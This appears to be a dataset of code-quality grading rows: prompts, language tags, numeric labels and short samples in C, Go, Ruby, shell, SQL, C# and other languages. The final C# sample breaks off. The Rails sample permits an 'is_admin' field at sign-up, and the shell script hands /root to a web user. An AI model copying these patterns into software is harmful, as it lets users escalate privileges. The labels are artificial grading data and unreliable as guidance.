prompt
stringlengths 1.3k
3.64k
| language
stringclasses 16
values | label
int64 -1
5
| text
stringlengths 14
130k
|
|---|---|---|---|
Below is an extract from a C program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid C code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical C concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., kernel development and compiler design). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching C. It should be similar to a school exercise, a tutorial, or a C course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
/* 窗口控件之按钮 */
#ifndef _GUISRV_WIDGET_BUTTON_H
#define _GUISRV_WIDGET_BUTTON_H
#include <types.h>
#include <stdint.h>
#include <layer/color.h>
#include <sys/list.h>
#include <font/font.h>
#include <widget/label.h>
#define GUI_BUTTON_DEFAULT 0 /* 按钮默认状态 */
#define GUI_BUTTON_FOCUS 1 /* 按钮聚焦状态 */
#define GUI_BUTTON_SELECTED 2 /* 按钮选择状态 */
/* 按钮默认颜色 */
#define GUI_BUTTON_DEFAULT_COLOR COLOR_ARGB(255, 50, 50, 50)
#define GUI_BUTTON_FOCUS_COLOR COLOR_ARGB(255, 200, 200, 200)
#define GUI_BUTTON_SELECTED_COLOR COLOR_ARGB(255, 100, 100, 100)
typedef struct _gui_button {
gui_label_t label; /* 继承标签：第一个成员 */
int state; /* 按钮状态：默认，聚焦，点击 */
GUI_COLOR default_color; /* 默认颜色 */
GUI_COLOR focus_color; /* 聚焦颜色 */
GUI_COLOR selected_color; /* 选择颜色 */
void (*handler) (struct _gui_button *button);
/* 内部函数 */
void (*set_location) (struct _gui_button *, int , int );
void (*set_size) (struct _gui_button *, int , int );
void (*set_color) (struct _gui_button *, GUI_COLOR , GUI_COLOR );
int (*set_text_len) (struct _gui_button *, int );
void (*set_text) (struct _gui_button *, char *);
int (*set_font) (struct _gui_button *, char *);
void (*set_name) (struct _gui_button *, char *);
void (*add) (struct _gui_button *, layer_t *);
void (*del) (struct _gui_button *);
void (*show) (struct _gui_button *);
void (*cleanup) (struct _gui_button *);
} gui_button_t;
/* 处理回调函数 */
typedef void (*gui_button_handler_t) (struct _gui_button *);
gui_button_t *gui_create_button(
gui_label_types_t type,
int x,
int y,
int width,
int height
);
int gui_button_init(
gui_button_t *button,
gui_label_types_t type,
int x,
int y,
int width,
int height
);
void gui_button_destroy(gui_button_t *button);
#endif /* _GUISRV_WIDGET_BUTTON_H */
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
c
| 1 |
/* 窗口控件之按钮 */
#ifndef _GUISRV_WIDGET_BUTTON_H
#define _GUISRV_WIDGET_BUTTON_H
#include <types.h>
#include <stdint.h>
#include <layer/color.h>
#include <sys/list.h>
#include <font/font.h>
#include <widget/label.h>
#define GUI_BUTTON_DEFAULT 0 /* 按钮默认状态 */
#define GUI_BUTTON_FOCUS 1 /* 按钮聚焦状态 */
#define GUI_BUTTON_SELECTED 2 /* 按钮选择状态 */
/* 按钮默认颜色 */
#define GUI_BUTTON_DEFAULT_COLOR COLOR_ARGB(255, 50, 50, 50)
#define GUI_BUTTON_FOCUS_COLOR COLOR_ARGB(255, 200, 200, 200)
#define GUI_BUTTON_SELECTED_COLOR COLOR_ARGB(255, 100, 100, 100)
typedef struct _gui_button {
gui_label_t label; /* 继承标签：第一个成员 */
int state; /* 按钮状态：默认，聚焦，点击 */
GUI_COLOR default_color; /* 默认颜色 */
GUI_COLOR focus_color; /* 聚焦颜色 */
GUI_COLOR selected_color; /* 选择颜色 */
void (*handler) (struct _gui_button *button);
/* 内部函数 */
void (*set_location) (struct _gui_button *, int , int );
void (*set_size) (struct _gui_button *, int , int );
void (*set_color) (struct _gui_button *, GUI_COLOR , GUI_COLOR );
int (*set_text_len) (struct _gui_button *, int );
void (*set_text) (struct _gui_button *, char *);
int (*set_font) (struct _gui_button *, char *);
void (*set_name) (struct _gui_button *, char *);
void (*add) (struct _gui_button *, layer_t *);
void (*del) (struct _gui_button *);
void (*show) (struct _gui_button *);
void (*cleanup) (struct _gui_button *);
} gui_button_t;
/* 处理回调函数 */
typedef void (*gui_button_handler_t) (struct _gui_button *);
gui_button_t *gui_create_button(
gui_label_types_t type,
int x,
int y,
int width,
int height
);
int gui_button_init(
gui_button_t *button,
gui_label_types_t type,
int x,
int y,
int width,
int height
);
void gui_button_destroy(gui_button_t *button);
#endif /* _GUISRV_WIDGET_BUTTON_H */
|
Below is an extract from a JavaScript program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid JavaScript code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical JavaScript concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., asynchronous programming). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching JavaScript. It should be similar to a school exercise, a tutorial, or a JavaScript course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching JavaScript. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
box(
{
"code":"0",
"message":"请求成功！",
"list":[
{
"img": "https://img3.doubanio.com/img/files/file-1485236684-0.jpg",
"url": "www.baidu.com"
},
{
"img": "https://img3.doubanio.com/img/files/file-1487144115-0.jpg",
"url": "www.baidu.com"
},
{
"img": "https://img3.doubanio.com/img/files/file-1486953805-0.jpg",
"url": "www.baidu.com"
}
]
}
)
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
javascript
| 2 |
box(
{
"code":"0",
"message":"请求成功！",
"list":[
{
"img": "https://img3.doubanio.com/img/files/file-1485236684-0.jpg",
"url": "www.baidu.com"
},
{
"img": "https://img3.doubanio.com/img/files/file-1487144115-0.jpg",
"url": "www.baidu.com"
},
{
"img": "https://img3.doubanio.com/img/files/file-1486953805-0.jpg",
"url": "www.baidu.com"
}
]
}
)
|
Below is an extract from a Markdown document. Evaluate its educational value, considering both Markdown usage and the content itself. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the document uses basic Markdown syntax correctly (e.g., headers, lists, or emphasis), regardless of content.
- Add another point if the document's content has some educational value, even if it's basic or limited in scope. The Markdown usage should be correct but might not be diverse.
- Award a third point if the document demonstrates a good range of Markdown features (e.g., links, images, code blocks) AND the content provides clear, accurate information on a topic. The structure should be logical and easy to follow.
- Give a fourth point if the document is well-suited for teaching both its subject matter and effective Markdown usage. It should use varied Markdown elements to enhance the presentation of educational content, similar to a well-crafted tutorial or lesson.
- Grant a fifth point if the document is exceptional both in its use of Markdown and the educational value of its content. It should demonstrate advanced Markdown features (e.g., tables, task lists, footnotes), have an engaging structure, and provide comprehensive, high-quality educational content on its topic. The document should serve as an excellent example of using Markdown for educational purposes.
The extract:
# java_basic
This files are related to java basic section
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
markdown
| 1 |
# java_basic
This files are related to java basic section
|
Below is an extract from a shell script. Evaluate whether it has a high educational value and could help teach shell scripting. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the script contains valid shell commands, even if it's not educational, like simple system calls or basic file operations.
- Add another point if the script addresses practical shell scripting concepts (e.g., variables, conditionals), even if it lacks comments.
- Award a third point if the script is suitable for educational use and introduces key concepts in shell scripting, even if the topic is somewhat advanced (e.g., functions, process management). The script should be well-structured and contain some comments.
- Give a fourth point if the script is self-contained and highly relevant to teaching shell scripting. It should be similar to a tutorial example or a shell scripting course section, demonstrating good practices in script organization.
- Grant a fifth point if the script is outstanding in its educational value and is perfectly suited for teaching shell scripting. It should be well-written, easy to understand, and contain step-by-step explanations in comments.
The extract:
#!/bin/bash
# Fix docker socket permission
# This only works if the docker group does not already exist
# Taken from http://vitorbaptista.com/how-to-access-hosts-docker-socket-without-root
DOCKER_SOCKET=/var/run/docker.sock
DOCKER_GROUP=hostdocker
REGULAR_USER=www
if [ -S ${DOCKER_SOCKET} ]; then
DOCKER_GID=$(stat -c '%g' ${DOCKER_SOCKET})
groupadd -for -g ${DOCKER_GID} ${DOCKER_GROUP}
usermod -aG ${DOCKER_GROUP} ${REGULAR_USER}
fi
mkdir -p /root/.docker
# touch /root/.docker/config.json
echo "{}" > /root/.docker/config.json
chown -R www /root
# Tweak nginx to match the workers to cpu's
procs=$(cat /proc/cpuinfo | grep processor | wc -l)
sed -i -e "s/worker_processes 5/worker_processes $procs/" /etc/nginx/nginx.conf
# Create symlink for Laravel
if [ -L /app/public/storage ]; then
rm /app/public/storage
fi
ln -s /app/storage/app/public /app/public/storage
# Set the permission
chown www:root -R /app
chmod 775 -R /app
chown -Rf www:www /var/lib/nginx
# Start supervisord and services
exec supervisord -c /etc/supervisord.conf
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
shell
| 2 |
#!/bin/bash
# Fix docker socket permission
# This only works if the docker group does not already exist
# Taken from http://vitorbaptista.com/how-to-access-hosts-docker-socket-without-root
DOCKER_SOCKET=/var/run/docker.sock
DOCKER_GROUP=hostdocker
REGULAR_USER=www
if [ -S ${DOCKER_SOCKET} ]; then
DOCKER_GID=$(stat -c '%g' ${DOCKER_SOCKET})
groupadd -for -g ${DOCKER_GID} ${DOCKER_GROUP}
usermod -aG ${DOCKER_GROUP} ${REGULAR_USER}
fi
mkdir -p /root/.docker
# touch /root/.docker/config.json
echo "{}" > /root/.docker/config.json
chown -R www /root
# Tweak nginx to match the workers to cpu's
procs=$(cat /proc/cpuinfo | grep processor | wc -l)
sed -i -e "s/worker_processes 5/worker_processes $procs/" /etc/nginx/nginx.conf
# Create symlink for Laravel
if [ -L /app/public/storage ]; then
rm /app/public/storage
fi
ln -s /app/storage/app/public /app/public/storage
# Set the permission
chown www:root -R /app
chmod 775 -R /app
chown -Rf www:www /var/lib/nginx
# Start supervisord and services
exec supervisord -c /etc/supervisord.conf
|
Below is an extract from a Go program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Go code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Go concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., goroutines, interfaces). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Go. It should be similar to a school exercise, a tutorial, or a Go course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Go. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
package main
import "sort"
func merge(intervals [][]int) [][]int {
result := [][]int{}
if len(intervals) == 0 {
return result
}
sort.Slice(intervals, func (i, j int) bool {
return intervals[i][0] < intervals[j][0]
})
curr := intervals[0]
for _, interval := range intervals {
if interval[0] <= curr[1] { // merge
if interval[1] > curr[1] {
curr[1] = interval[1]
}
} else { // new
result = append(result, curr)
curr = interval
}
}
result = append(result, curr)
return result
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
go
| 3 |
package main
import "sort"
func merge(intervals [][]int) [][]int {
result := [][]int{}
if len(intervals) == 0 {
return result
}
sort.Slice(intervals, func (i, j int) bool {
return intervals[i][0] < intervals[j][0]
})
curr := intervals[0]
for _, interval := range intervals {
if interval[0] <= curr[1] { // merge
if interval[1] > curr[1] {
curr[1] = interval[1]
}
} else { // new
result = append(result, curr)
curr = interval
}
}
result = append(result, curr)
return result
}
|
Below is an extract from a Ruby program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Ruby code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Ruby concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., metaprogramming, blocks). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Ruby. It should be similar to a school exercise, a tutorial, or a Ruby course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Ruby. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
class ApplicationController < ActionController::Base
# Prevent CSRF attacks by raising an exception.
# For APIs, you may want to use :null_session instead.
protect_from_forgery with: :exception
acts_as_token_authentication_handler_for User, fallback: :none
before_filter :configure_permitted_parameters, if: :devise_controller?
protected
def configure_permitted_parameters
devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:email, :displayname,
:firstname, :lastname, :phonenumber, :address, :zipcode, :city, :password, :password_confirmation,
:state, :country, :customertoken, :provider, :uid, :access_code, :publishable_key,
:reviewpercentage, :is_admin, :is_cyclops) }
devise_parameter_sanitizer.for(:account_update) { |u| u.permit(:email, :displayname,
:firstname, :lastname, :phonenumber, :address, :zipcode, :city, :password, :password_confirmation,
:state, :country, :customertoken, :provider, :uid, :access_code, :publishable_key,
:reviewpercentage, :is_admin, :is_cyclops, :current_password) }
end
end
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
ruby
| 2 |
class ApplicationController < ActionController::Base
# Prevent CSRF attacks by raising an exception.
# For APIs, you may want to use :null_session instead.
protect_from_forgery with: :exception
acts_as_token_authentication_handler_for User, fallback: :none
before_filter :configure_permitted_parameters, if: :devise_controller?
protected
def configure_permitted_parameters
devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:email, :displayname,
:firstname, :lastname, :phonenumber, :address, :zipcode, :city, :password, :password_confirmation,
:state, :country, :customertoken, :provider, :uid, :access_code, :publishable_key,
:reviewpercentage, :is_admin, :is_cyclops) }
devise_parameter_sanitizer.for(:account_update) { |u| u.permit(:email, :displayname,
:firstname, :lastname, :phonenumber, :address, :zipcode, :city, :password, :password_confirmation,
:state, :country, :customertoken, :provider, :uid, :access_code, :publishable_key,
:reviewpercentage, :is_admin, :is_cyclops, :current_password) }
end
end
|
Below is an extract of SQL code. Evaluate whether it has a high educational value and could help teach SQL and database concepts. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the code contains valid SQL syntax, even if it's just basic queries or simple table operations.
- Add another point if the code addresses practical SQL concepts (e.g., JOINs, subqueries), even if it lacks comments.
- Award a third point if the code is suitable for educational use and introduces key concepts in SQL and database management, even if the topic is somewhat advanced (e.g., indexes, transactions). The code should be well-structured and contain some comments.
- Give a fourth point if the code is self-contained and highly relevant to teaching SQL. It should be similar to a database course exercise, demonstrating good practices in query writing and database design.
- Grant a fifth point if the code is outstanding in its educational value and is perfectly suited for teaching SQL and database concepts. It should be well-written, easy to understand, and contain explanatory comments that clarify the purpose and impact of each part of the code.
The extract:
create or replace view vw_top_placements as
select *, score - greatest(0, extract(epoch from now() - constant_until) / 60) * decay_rate current_score
from placement_scores;
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
sql
| 2 |
create or replace view vw_top_placements as
select *, score - greatest(0, extract(epoch from now() - constant_until) / 60) * decay_rate current_score
from placement_scores;
|
Below is an extract from an HTML document. Evaluate whether it has a high educational value and could help teach web development. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the document contains valid HTML markup, even if it's not educational, like boilerplate code or standard tags.
- Add another point if the document addresses practical HTML concepts and uses semantic elements appropriately.
- Award a third point if the document is suitable for educational use and introduces key web concepts, even if the topic is somewhat advanced (e.g., forms, metadata). The code should be well-structured and use clear, descriptive naming.
- Give a fourth point if the document is self-contained and highly relevant to teaching HTML. It should be similar to a school exercise, a tutorial, or an HTML course section for early learners.
- Grant a fifth point if the document is outstanding in its educational value and is perfectly suited for teaching HTML to beginners. It should be well-organized, easy to understand, and ideally include some explanatory comments or demonstrate best practices in HTML structure.
The extract:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"/>
<meta property="og:url" content="https://www.odt.co.nz/star-news/star-christchurch/korean-air-flights-about-land-summer"/>
<meta property="og:site_name" content="Otago Daily Times Online News"/>
<meta property="article:published_time" content="2019-11-25T00:00:00+00:00"/>
<meta property="og:title" content="Korean Air flights about to land for summer"/>
<meta property="og:description" content="Korea’s national airline has announced a new direct seasonal charter programme between Seoul and Christchurch this summer. The first Korean Air..."/>
</head>
<body>
<article>
<h1>Korean Air flights about to land for summer</h1>
<address>
<time datetime="2019-11-25T00:00:00+00:00">25 Nov 2019</time>
</address>
<p>Korea’s national airline has announced a new direct seasonal charter programme between Seoul and Christchurch this summer.</p>
<p>The first Korean Air flight will land in Christchurch on December 28 and run weekly till February 21.</p>
<p>Christchurch Airport chief aeronautical and commercial officer <NAME> said the service is a response to the increasing numbers of Korean visitors coming to the South Island.</p>
<p>“Our Korean arrival numbers have grown 39 per cent over the past five years and this charter service is seen as a trial, which may lead to more flights the following year,” he said.</p>
<p>“Analysis suggests the Korean visitors off the charter service will spend about $7 million during their time in the South Island, so it’s a win-win for both the visitors and the island’s regions.”</p>
<p>The new service is the result of a concerted effort by the airport, Tourism New Zealand and other government agencies working together with South Korean travel sellers.</p>
<p>Tourism New Zealand director commercial <NAME> welcomed the announcement.</p>
<p>“Tourism New Zealand has increased its marketing effort an
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
html
| 2 |
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"/>
<meta property="og:url" content="https://www.odt.co.nz/star-news/star-christchurch/korean-air-flights-about-land-summer"/>
<meta property="og:site_name" content="Otago Daily Times Online News"/>
<meta property="article:published_time" content="2019-11-25T00:00:00+00:00"/>
<meta property="og:title" content="Korean Air flights about to land for summer"/>
<meta property="og:description" content="Korea’s national airline has announced a new direct seasonal charter programme between Seoul and Christchurch this summer. The first Korean Air..."/>
</head>
<body>
<article>
<h1>Korean Air flights about to land for summer</h1>
<address>
<time datetime="2019-11-25T00:00:00+00:00">25 Nov 2019</time>
</address>
<p>Korea’s national airline has announced a new direct seasonal charter programme between Seoul and Christchurch this summer.</p>
<p>The first Korean Air flight will land in Christchurch on December 28 and run weekly till February 21.</p>
<p>Christchurch Airport chief aeronautical and commercial officer <NAME> said the service is a response to the increasing numbers of Korean visitors coming to the South Island.</p>
<p>“Our Korean arrival numbers have grown 39 per cent over the past five years and this charter service is seen as a trial, which may lead to more flights the following year,” he said.</p>
<p>“Analysis suggests the Korean visitors off the charter service will spend about $7 million during their time in the South Island, so it’s a win-win for both the visitors and the island’s regions.”</p>
<p>The new service is the result of a concerted effort by the airport, Tourism New Zealand and other government agencies working together with South Korean travel sellers.</p>
<p>Tourism New Zealand director commercial <NAME> welcomed the announcement.</p>
<p>“Tourism New Zealand has increased its marketing effort and investment in South Korea to help stimulate demand for travel to New Zealand,” he said.</p>
<p>“This series of flights direct into the South Island will provide our Korean visitors greater choice and flexibility in travelling to New Zealand for their holiday."</p>
</article>
</body>
</html>
|
Below is an extract from a Rust program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Rust code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Rust concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., ownership, lifetimes). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Rust. It should be similar to a school exercise, a tutorial, or a Rust course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Rust. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
extern crate gcc;
fn main(){
gcc::Config::new().file("huhu.c").compile("libhuhu.a");
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
rust
| 1 |
extern crate gcc;
fn main(){
gcc::Config::new().file("huhu.c").compile("libhuhu.a");
}
|
Below is an extract from a Markdown document. Evaluate its educational value, considering both Markdown usage and the content itself. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the document uses basic Markdown syntax correctly (e.g., headers, lists, or emphasis), regardless of content.
- Add another point if the document's content has some educational value, even if it's basic or limited in scope. The Markdown usage should be correct but might not be diverse.
- Award a third point if the document demonstrates a good range of Markdown features (e.g., links, images, code blocks) AND the content provides clear, accurate information on a topic. The structure should be logical and easy to follow.
- Give a fourth point if the document is well-suited for teaching both its subject matter and effective Markdown usage. It should use varied Markdown elements to enhance the presentation of educational content, similar to a well-crafted tutorial or lesson.
- Grant a fifth point if the document is exceptional both in its use of Markdown and the educational value of its content. It should demonstrate advanced Markdown features (e.g., tables, task lists, footnotes), have an engaging structure, and provide comprehensive, high-quality educational content on its topic. The document should serve as an excellent example of using Markdown for educational purposes.
The extract:
ParaSwap Test
This is aproof of concept to swap ETH for DAI using ParaSwap's api here: https://developers.paraswap.network/
To use it you need metamask installed and loaded with rETH.
Run the following two commands:
npm install
npm start
Then navigate to localhost port 8080 and connect your metamask wallet on the ropsten testnet.
Press the exchange button to swap 0.1 rETH for DAI.
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
markdown
| 3 |
ParaSwap Test
This is aproof of concept to swap ETH for DAI using ParaSwap's api here: https://developers.paraswap.network/
To use it you need metamask installed and loaded with rETH.
Run the following two commands:
npm install
npm start
Then navigate to localhost port 8080 and connect your metamask wallet on the ropsten testnet.
Press the exchange button to swap 0.1 rETH for DAI.
|
Below is an extract from a Swift program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Swift code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Swift concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., protocols, extensions). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Swift. It should be similar to a school exercise, a tutorial, or a Swift course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Swift. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
import Realm
import Foundation
extension KeyValueObservationNotificationToken {
func invalidate3LUJ5Weeklylistcontroller(_ weeklyListController: String) {
print(weeklyListController)
}
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
swift
| 2 |
import Realm
import Foundation
extension KeyValueObservationNotificationToken {
func invalidate3LUJ5Weeklylistcontroller(_ weeklyListController: String) {
print(weeklyListController)
}
}
|
Below is an extract from a C# program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
Add 1 point if the program contains valid C# code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
Add another point if the program addresses practical C# concepts, even if it lacks comments.
Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., LINQ, reflection). The code should be well-structured and contain some comments.
Give a fourth point if the program is self-contained and highly relevant to teaching C#. It should be similar to a school exercise, a tutorial, or a C# course section.
Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C#. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using CCTVModels;
using CCTVModels.User;
using GatewayModels;
using GatewayModels.Util;
using GatewayNet.Server;
using GatewayNet.Util;
using GBTModels.Global;
using GBTModels.Notify;
using GBTModels.Response;
using GBTModels.Util;
using LumiSoft.Net.SIP.Message;
using LumiSoft.Net.SIP.Stack;
namespace GatewayNet.Tools
{
public class ResourceSharer
{
public static ResourceSharer Instance { get; private set; }
static ResourceSharer()
{
Instance = new ResourceSharer();
}
private ResourceSharer()
{
}
public void NotifyToPlatform(string platId)
{
Gateway gw = InfoService.Instance.CurrentGateway;
Platform pf = InfoService.Instance.GetPlatform(platId);
string localIp = IPAddressHelper.GetLocalIp();
SIP_Stack stack = SipProxyWrapper.Instance.Stack;
DeviceCatalogNotify dcd = createCatalog(gw, pf);
string body = SerializeHelper.Instance.Serialize(dcd);
SIP_t_NameAddress from = new SIP_t_NameAddress($"sip:{gw.SipNumber}@{localIp}:{gw.Port}");
SIP_t_NameAddress to = new SIP_t_NameAddress($"sip:{pf.SipNumber}@{pf.Ip}:{pf.Port}");
SIP_Request message = stack.CreateRequest(SIP_Methods.NOTIFY, to, from);
message.ContentType = "Application/MANSCDP+xml";
message.Data = MyEncoder.Encoder.GetBytes(body);
SIP_RequestSender send = stack.CreateRequestSender(message);
send.Start();
}
public void ResponseToPlatform(Platform plat)
{
Gateway gw = InfoService.Instance.CurrentGateway;
string localIp = IPAddressHelper.GetLocalIp();
SIP_Stack stack = SipProxyWrapper.Instance.Stack;
DeviceCatalogResp resp = createCatalogResp(gw, plat);
string body
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
csharp
| -1 |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using CCTVModels;
using CCTVModels.User;
using GatewayModels;
using GatewayModels.Util;
using GatewayNet.Server;
using GatewayNet.Util;
using GBTModels.Global;
using GBTModels.Notify;
using GBTModels.Response;
using GBTModels.Util;
using LumiSoft.Net.SIP.Message;
using LumiSoft.Net.SIP.Stack;
namespace GatewayNet.Tools
{
public class ResourceSharer
{
public static ResourceSharer Instance { get; private set; }
static ResourceSharer()
{
Instance = new ResourceSharer();
}
private ResourceSharer()
{
}
public void NotifyToPlatform(string platId)
{
Gateway gw = InfoService.Instance.CurrentGateway;
Platform pf = InfoService.Instance.GetPlatform(platId);
string localIp = IPAddressHelper.GetLocalIp();
SIP_Stack stack = SipProxyWrapper.Instance.Stack;
DeviceCatalogNotify dcd = createCatalog(gw, pf);
string body = SerializeHelper.Instance.Serialize(dcd);
SIP_t_NameAddress from = new SIP_t_NameAddress($"sip:{gw.SipNumber}@{localIp}:{gw.Port}");
SIP_t_NameAddress to = new SIP_t_NameAddress($"sip:{pf.SipNumber}@{pf.Ip}:{pf.Port}");
SIP_Request message = stack.CreateRequest(SIP_Methods.NOTIFY, to, from);
message.ContentType = "Application/MANSCDP+xml";
message.Data = MyEncoder.Encoder.GetBytes(body);
SIP_RequestSender send = stack.CreateRequestSender(message);
send.Start();
}
public void ResponseToPlatform(Platform plat)
{
Gateway gw = InfoService.Instance.CurrentGateway;
string localIp = IPAddressHelper.GetLocalIp();
SIP_Stack stack = SipProxyWrapper.Instance.Stack;
DeviceCatalogResp resp = createCatalogResp(gw, plat);
string body = SerializeHelper.Instance.Serialize(resp);
SIP_t_NameAddress from = new SIP_t_NameAddress($"sip:{gw.SipNumber}@{localIp}:{gw.Port}");
SIP_t_NameAddress to = new SIP_t_NameAddress($"sip:{plat.SipNumber}@{plat.Ip}:{plat.Port}");
SIP_Request message = stack.CreateRequest(SIP_Methods.MESSAGE, to, from);
message.ContentType = "Application/MANSCDP+xml";
message.Data = MyEncoder.Encoder.GetBytes(body);
SIP_RequestSender send = stack.CreateRequestSender(message);
send.Start();
}
private List<string> getUserDeviceId(Platform plat)
{
CCTVUserPrivilege up = InfoService.Instance.GetUserPrivilege(plat.UserName);
if (up != null && up.AccessibleNodes != null)
{
CCTVHierarchyInfo[] hInfos = InfoService.Instance.GetAllHierarchy().Where(hi => up.AccessibleNodes.Contains(hi.Id)).ToArray();
if (hInfos != null && hInfos.Length > 0)
{
return hInfos.Select(hi => hi.ElementId).ToList();
}
}
return new List<string>();
}
private DeviceCatalogNotify createCatalog(Gateway gw, Platform plat)
{
DeviceCatalogNotify notify = new DeviceCatalogNotify();
notify.DeviceID = gw.SipNumber;
DeviceItemsCollection items = buildDeviceItems(gw.SipNumber, plat);
if (items != null)
notify.Items = items;
return notify;
}
private DeviceCatalogResp createCatalogResp(Gateway gw, Platform plat)
{
DeviceCatalogResp resp = new DeviceCatalogResp();
resp.DeviceID = gw.SipNumber;
DeviceItemsCollection items = buildDeviceItems(gw.SipNumber, plat);
if (items != null)
resp.Items = items;
return resp;
}
private DeviceItemsCollection buildDeviceItems(string parentId, Platform plat)
{
//过滤出仅平台鉴权用户可用的视频列表。
List<string> acIds = getUserDeviceId(plat);
IEnumerable<CCTVStaticInfo> infos = InfoService.Instance.GetAllStaticInfo();
if (infos != null)
{
Dictionary<string, string> dictIdPairs = new Dictionary<string, string>();
IEnumerable<SipIdMap> dids = InfoService.Instance.GetAllSipIdMap();
if (dids != null)
{
foreach (SipIdMap sp in dids)
{
dictIdPairs[sp.StaticId] = sp.SipNumber;
}
}
DeviceItemsCollection items = new DeviceItemsCollection();
foreach (CCTVStaticInfo si in infos)
{
CCTVControlConfig cc = InfoService.Instance.GetControlConfig(si.VideoId);
string sip = null;
if (dictIdPairs.ContainsKey(si.VideoId))
sip = dictIdPairs[si.VideoId];
else
{
sip = SipIdGenner.GenDeviceID();
InfoService.Instance.PutSipIdMap(si.VideoId, new SipIdMap(si.VideoId, sip),false);
}
ItemType it = new ItemType()
{
DeviceID = sip,
ParentID = parentId,
Event = StatusEvent.ADD,
